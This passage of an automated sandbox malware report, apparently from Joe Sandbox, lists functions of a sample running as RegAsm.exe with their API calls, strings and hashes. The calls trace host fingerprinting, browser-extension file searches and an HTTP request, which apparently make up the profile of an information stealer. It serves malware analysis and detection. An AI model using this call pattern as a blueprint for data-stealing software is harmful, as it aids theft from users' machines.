Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00414690 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,00EF1420), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00EF2B80), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

p", xrefs: 004146F5
5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 5\A$p"
API String ID: 153043497-2042438646
Opcode ID: 9d67f2e96df7a277632973b5e5d5ec8ba6d0efd738cbbbaf6b8a98ef2a4e1d70
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 9d67f2e96df7a277632973b5e5d5ec8ba6d0efd738cbbbaf6b8a98ef2a4e1d70
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00411520 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00EF1700,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00EF1700,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00EF1CB0,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00EF1CB0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00EF1CB0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00EF1CB0,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,00EF1480,00000000,?,00420DF4,00000000,?,00000000,00000000,?,00EF1E60,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,00EEB2F8,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,00EF1400,00000000,00000000,000000FF,000000FF), ref: 0041791F

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00EF1ED8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00EF1ED8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: CreateDCA.GDI32(00EEAB38,00000000,00000000,00000000), ref: 00418295
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
Part of subcall function 00418260: ReleaseDC.USER32(00000000,?), ref: 004182C2
Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417C90: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00417CF4

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,00EE6518,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: FindCloseChangeNotification.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Strings

x#, xrefs: 00412180

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ChangeComputerDefaultDevicesDirectoryDisplayErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: x#
API String ID: 327943442-3375674904
Opcode ID: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 004178A0 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,00EEB2F8,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,00EF1400,00000000,00000000,000000FF,000000FF), ref: 0041791F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00EEAB28,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00EEAB28,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00EF2A50), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,00EF2120,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 004136EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNELBASE(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

18A, xrefs: 00413792

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: 18A
API String ID: 3840410801-3433864008
Opcode ID: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction ID: 37f096532bd63c7a6543046c1d18d9a97d222ba567e71f558b3b71d2575676c5
Opcode Fuzzy Hash: 668e528d8eb8b4c8ce472f500e88cfe109d3146a7f0607bb4eb9076a2caf7a1f
Instruction Fuzzy Hash: 26D05BB150410D5BCB20EF54EE589EE7339AF54355F0041C9F40E97150EB349B85CF95

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

